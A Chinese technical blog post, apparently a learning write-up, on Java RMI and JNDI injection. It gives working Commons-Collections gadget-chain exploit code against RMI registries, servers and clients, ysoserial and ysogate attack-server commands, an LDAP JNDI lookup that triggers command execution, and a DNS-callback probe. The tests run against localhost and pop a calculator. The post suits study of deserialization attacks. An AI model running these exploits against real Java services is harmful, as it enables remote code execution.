首页 > 其他分享 >JNDI注入

JNDI注入

时间:2025-01-17 09:44:14浏览次数:1  
标签:java String public JNDI new import class 注入

RMI

RMI 全称 Remote Method Invocation(远程方法调用),即在一个 JVM 中 Java 程序调用在另一个远程 JVM 中运行的 Java 程序,这个远程 JVM 既可以在同一台实体机上,也可以在不同的实体机上,两者之间通过网络进行通信。

RMI 依赖的通信协议为 JRMP(Java Remote Message Protocol,Java 远程消息交换协议),该协议为 Java 定制,要求服务端与客户端都为 Java 编写。

RMI包括以下三个部分:Server,Client,Registery.
这三者之间的通信方式大概如下.
image

简单来说就是Server将一个类绑定到Registery上,Client通过查询Registery的表项(字符串)来发出请求,然后Server将查询的类序列化以后返回.客户端有每个类对应的接口(被成为代理),可以对返回的序列化结果去反序列化.
下面是一个小的demo.
Server端
RemoteObj.java

public interface RemoteObj extends Remote {  
  
    public String sayHello(String keywords) throws RemoteException;  
}

RemoteObjImp.java

public class RemoteObjImpl extends UnicastRemoteObject implements RemoteObj { 
  
    public RemoteObjImpl() throws RemoteException {  
    //    UnicastRemoteObject.exportObject(this, 0); // 如果不能继承 UnicastRemoteObject 就需要手工导出  
 }  
  
    @Override  
 public String sayHello(String keywords) throws RemoteException {  
        String upKeywords = keywords.toUpperCase();  
 System.out.println(upKeywords);  
 return upKeywords;  
 }  
}

RMIServer.java

public class RMIServer {  
    public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {  
        // 实例化远程对象  
 RemoteObj remoteObj = new RemoteObjImpl();  
 // 创建注册中心  
 Registry registry = LocateRegistry.createRegistry(1099);  
 // 绑定对象示例到注册中心  
 registry.bind("remoteObj", remoteObj);  
 }  
}

Server端
RemoteObj.java

public interface RemoteObj extends Remote {  
  
    public String sayHello(String keywords) throws RemoteException;  
}

RMIClient.java

public class RMIClient {  
    public static void main(String[] args) throws Exception {  
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);  
 RemoteObj remoteObj = (RemoteObj) registry.lookup("remoteObj");  
 remoteObj.sayHello("hello");  
 }  
}

上面就是一个rmi进行通信的典型例子.
针对rmi的攻击一共有三种情况:Client攻击Registery,Client攻击Server和攻击Client.

Client攻击Registery

在与Registery进行交互的时候一共有下面的几种方法:

  • 0 —– bind
  • 1 —– list
  • 2 —– lookup
  • 3 —– rebind
  • 4 —– unbind
    其中除了list以外,都有触发readObject的过程,都可以用来进行反序列化攻击.
    以上面的rmi语法实验环境为例,在pom.xml中引入commons-collections3.2.1依赖,来进行测试,通过cc1来执行命令.
    创建一个bind的Client服务
package Client;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class AttackRegistryEXP {
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        InvocationHandler handler = (InvocationHandler) CC1();
        Remote remote = Remote.class.cast(Proxy.newProxyInstance(
                Remote.class.getClassLoader(),new Class[] { Remote.class }, handler));
        registry.bind("test",remote);
    }

    public static Object CC1() throws Exception{
        ConstantTransformer ct = new ConstantTransformer(Runtime.class);

        String methodName1 = "getMethod";
        Class[] paramTypes1 = {String.class, Class[].class};
        Object[] args1 = {"getRuntime", null};
        InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);

        String methodName2 = "invoke";
        Class[] paramTypes2 = {Object.class, Object[].class};
        Object[] args2 = {null, null};
        InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);

        String methodName3 = "exec";
        Class[] paramTypes3 = {String.class};
        Object[] args3 = {"calc"};
        InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);

        Transformer[] transformers = {ct, it1, it2, it3};
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        /*
        ChainedTransformer
        */

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", ""); //解释二
        Map decorated = TransformedMap.decorate(map, null, chainedTransformer);
        /*
        TransformedMap.decorate
        */

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annoConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        annoConstructor.setAccessible(true);
        Object poc = annoConstructor.newInstance(Target.class, decorated); //解释一
		/*
		AnnotationInvocationHandler
		*/
        return poc;
    }
}

成功弹出计算器.
rebind的攻击方式也如上,而lookup由于参数只能传入字符串,我们需要去通过反射去修改他的代码去完成攻击.

package Client;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.rmi.server.UnicastRef;

import java.io.ObjectOutput;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;
import Server.RemoteObj;

public class AttackRegistryEXP {
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        InvocationHandler handler = (InvocationHandler) CC1();
        Remote remote = Remote.class.cast(Proxy.newProxyInstance(
                Remote.class.getClassLoader(),new Class[] { Remote.class }, handler));

        Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
        fields_0[0].setAccessible(true);
        UnicastRef ref = (UnicastRef) fields_0[0].get(registry);

        //获取operations

        Field[] fields_1 = registry.getClass().getDeclaredFields();
        fields_1[0].setAccessible(true);
        Operation[] operations = (Operation[]) fields_1[0].get(registry);

        // 伪造lookup的代码,去伪造传输信息
        RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
        ObjectOutput var3 = var2.getOutputStream();
        var3.writeObject(remote);
        ref.invoke(var2);
    }

    public static Object CC1() throws Exception{
        ConstantTransformer ct = new ConstantTransformer(Runtime.class);

        String methodName1 = "getMethod";
        Class[] paramTypes1 = {String.class, Class[].class};
        Object[] args1 = {"getRuntime", null};
        InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);

        String methodName2 = "invoke";
        Class[] paramTypes2 = {Object.class, Object[].class};
        Object[] args2 = {null, null};
        InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);

        String methodName3 = "exec";
        Class[] paramTypes3 = {String.class};
        Object[] args3 = {"calc"};
        InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);

        Transformer[] transformers = {ct, it1, it2, it3};
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        /*
        ChainedTransformer
        */

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", ""); //解释二
        Map decorated = TransformedMap.decorate(map, null, chainedTransformer);
        /*
        TransformedMap.decorate
        */

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annoConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        annoConstructor.setAccessible(true);
        Object poc = annoConstructor.newInstance(Target.class, decorated); //解释一
		/*
		AnnotationInvocationHandler
		*/
        return poc;
    }
}
攻击Client

由于Server中的服务程序是封装的,也就是Client在调用的时候不知道究竟服务端发生了什么,所以要是能控制服务端的话可以随意对Client进行攻击.
本地起一个ysoserial去打cc5

java -cp .\ysoserial-all.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections5 "Calc"

在Client进行访问可以直接的执行命令.

import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
 
public class Client {
    public static void main(String[] args) throws RemoteException {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        registry.list();
    }
}
Client攻击Server

这个也很好理解.比如Client要在Server中去执行一个含参数的方法,方法的参数是一个对象.那么处理方式必然是Client将对象序列化,传递给Server去反序列化,然后将恢复的对象作为参数传入去执行方法,然后将方法的执行结果在序列化后返回给Client.那么在Server中去进行反序列化的过程中,就会触发攻击.来看一个demo.
Server代码

import java.rmi.Naming;  
import java.rmi.RemoteException;  
import java.rmi.registry.LocateRegistry;  
import java.rmi.server.UnicastRemoteObject;  
  
public class VictimServer {  
    public class RemoteHelloWorld extends UnicastRemoteObject implements RemoteObj {  
        protected RemoteHelloWorld() throws RemoteException {  
            super();  
 }  
  
        public String hello() throws RemoteException {  
            System.out.println("调用了hello方法");  
 return "Hello world";  
 }  
  
        public void evil(Object obj) throws RemoteException {  
            System.out.println("调用了evil方法,传递对象为:"+obj);  
 }  
  
        @Override  
 public String sayHello(String keywords) throws RemoteException {  
            return null;  
 }  
    }  
    private void start() throws Exception {  
        RemoteHelloWorld h = new RemoteHelloWorld();  
 LocateRegistry.createRegistry(1099);  
 Naming.rebind("rmi://127.0.0.1:1099/Hello", h);  
 }  
  
    public static void main(String[] args) throws Exception {  
        new VictimServer().start();  
 }  
}

Client代码

import Server.IRemoteHelloWorld;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
 
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;
import Server.IRemoteHelloWorld;
 
public class RMIClient {
    public static void main(String[] args) throws Exception {
        IRemoteHelloWorld r = (IRemoteHelloWorld) Naming.lookup("rmi://127.0.0.1:1099/Hello");
        r.evil(getpayload());
    }
 
    public static Object getpayload() throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
 
        Map map = new HashMap();
        map.put("value", "lala");
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
 
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, transformedMap);
        return instance;
    }
 
}

也是成功的执行命令了.

JNDI

JNDI 全称为 Java Naming and Directory Interface,即 Java 名称与目录接口。也就是一个名字对应一个 Java 对象。

jndi 在 jdk 里面支持以下四种服务

  • LDAP:轻量级目录访问协议
  • 通用对象请求代理架构(CORBA);通用对象服务(COS)名称服务
  • Java 远程方法调用(RMI) 注册表
  • DNS 服务
    看一下JNDI注入的攻击流程图
    image
JNDI+RMI实现攻击

这里理论上应该是能打的,在网上也看到了很多讲解的文章.然而照着这些文章复现,却没有一个打通的.发现网上的工具在打反序列化这里都不支持rmi协议,索性不管了.

JNDI+LDAP实现攻击

使用ysogate去起一个server.

java -jar .\ysogate-0.4.0-all.jar -m jndi -lp 1389

然后本地去模拟一个Client.

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDIClient {
    public static void main(String[] args) throws NamingException {
        new InitialContext().lookup("ldap://127.0.0.1:1389/Deserialize/CommonsCollections1/Command/calc");
//        new InitialContext().lookup("dns://551790c8.log.dnslog.sbs.");
    }
}

image

成功的执行命令.

JNDI+DNS实现探测

可以用来探测是否存在JNDI注入漏洞.

import javax.naming.InitialContext;  
import javax.naming.NamingException;  
  
public class JNDIClient {  
    public static void main(String[] args) throws NamingException {  
//        new InitialContext().lookup("ldap://127.0.0.1:1389/Deserialize/CommonsCollections1/Command/calc");  
        new InitialContext().lookup("dns://551790c8.log.dnslog.sbs.");  
    }  
}

image

成功的构成DNS外带.

JEP290

先看一个图
image

大体反应出一个问题,就是在高版本的一些版本中,ldap是能打的,但是rmi打不了了.其原因就是java引入了JEP290防御机制,通过引入了白名单来限制反序列化.

String.class
Number.class
Remote.class
Proxy.class
UnicastRef.class
RMIClientSocketFactory.class
RMIServerSocketFactory.class
ActivationID.class
UID.class

因此可以在JRMP层去进行绕过.然儿实际上,我们连低版本的RMI都没有打通,更别说绕过这个了...
JNDI注入这里也算是草草的过完了,接下来直接去看fastjson吧...

标签:java,String,public,JNDI,new,import,class,注入
From: https://www.cnblogs.com/meraklbz/p/18676253

相关文章

  • Java中的依赖注入是什么?它如何工作?
    目录什么是依赖注入依赖注入的工作原理使用场景总结在Java开发中,依赖注入(DependencyInjection,DI)是一种重要的设计模式,它能够有效地减少代码之间的耦合度,提高代码的可测试性、可维护性和扩展性。以下是对Java中的依赖注入及其工作原理和使用场景的详细解释,并结合具......
  • Java开发防止SQL注入攻击
    在Java编程过程中,防止SQL注入攻击是非常重要的安全措施。以下是常用的防注入攻击措施及其原理:1.使用预编译语句(PreparedStatement)原理:PreparedStatement是JDBC提供的一种接口,它允许SQL语句在执行前被预编译。通过使用占位符?来代替参数值,并在执行时动态设置这些参......
  • 【Java安全】JNDI注入浅析
    以下文章来源于情深网安,作者一往情深一、JNDI简介1.1JNDI的基本概念JNDI(JavaNamingandDirectoryInterface)是Java平台提供的一个API,它允许Java应用程序访问命名和目录服务。它主要用于查找各种资源,提供了一种统一的方式来访问不同的目录和命名服务。JNDI的工作方式是通过......
  • 延时注入暴库
    Sql注入之延时注入工具暴破实践什么是延时注入延时注入爆破是一种SQL注入攻击技术,它利用数据库查询的执行时间差异来推断数据库中的信息。这种技术通常用于那些不允许直接输出数据库错误信息或数据的场景,使得攻击者无法通过传统的错误信息来获取数据。在延时注入中,攻击者构造特殊......
  • 代码审计-PHP原生开发&SQL注入&数据库监控&正则搜索&文件定位&静态分析
    知识点1、PHP审计-原生态开发-SQL注入&数据库语句监控2、PHP审计-原生态开发-SQL注入&正则匹配搜索3、PHP审计-原生态开发-SQL注入&功能追踪代码审计分类:1、原生态开发-代码审计源码案例2、框架类开发-代码审计源码案例3、组件类开发-代码审计源码案例4、前端类开发-代码......
  • MYSQL--------SQL 注入简介&&MySQL SQL Mode 简介
    SQL注入简介定义:SQL注入是一种常见的安全漏洞,攻击者通过在输入中插入恶意的SQL语句,利用应用程序中未正确处理的输入数据,来改变SQL查询的逻辑,从而执行非预期的操作,如绕过身份验证、获取未授权数据、修改或删除数据等。示例:--正常的登录查询SELECT*FROMusersWHE......
  • 基于PHP的MYSQL注入(2)
    符号拼接由于网站开发者对数据类型或者对sql语句的写法(框架)导致1、数字型(无符号干扰)select*fromuserswhereid=$id;2、字符型(不光是单引号,也可能是双引号或者其他)select*fromuserswhereid='$id';3、搜索型(多符号干扰)select*fromuserswhereidlike'%$......
  • 瑞友天翼应用虚拟化系统 GetPwdPolicy SQL注入漏洞
    0x01阅读须知(免责声明)        技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均......
  • letta-ai - 为 LLM 应用注入记忆能力的开发框架
    该项目是用于构建具有记忆功能的LLM应用的Python框架,支持创建拥有长期记忆和持久状态的智能体(Agent),并能够集成多种LLMAPI服务。13800Stars1500Forks28Issues118贡献者Apache-2.0LicensePython语言代码:GitHub-letta-ai/letta:Letta(formerlyMemGPT)......
  • BurpSuite之SQL 注入测试实操
    1、安装:CO2插件进入【BurpSuite】---【拓展】---【BApp商店】,安装完成后,[已安装]列会有:√ 拦截后发送到【重放器】: 重发器中【请求】中操作:【拓展】---【CO2】---【发送到SQLMapper】 2、SQL注入(1)操作登录 (2)进行拦截,发送给【重放器】: (3)修改name的请求语句......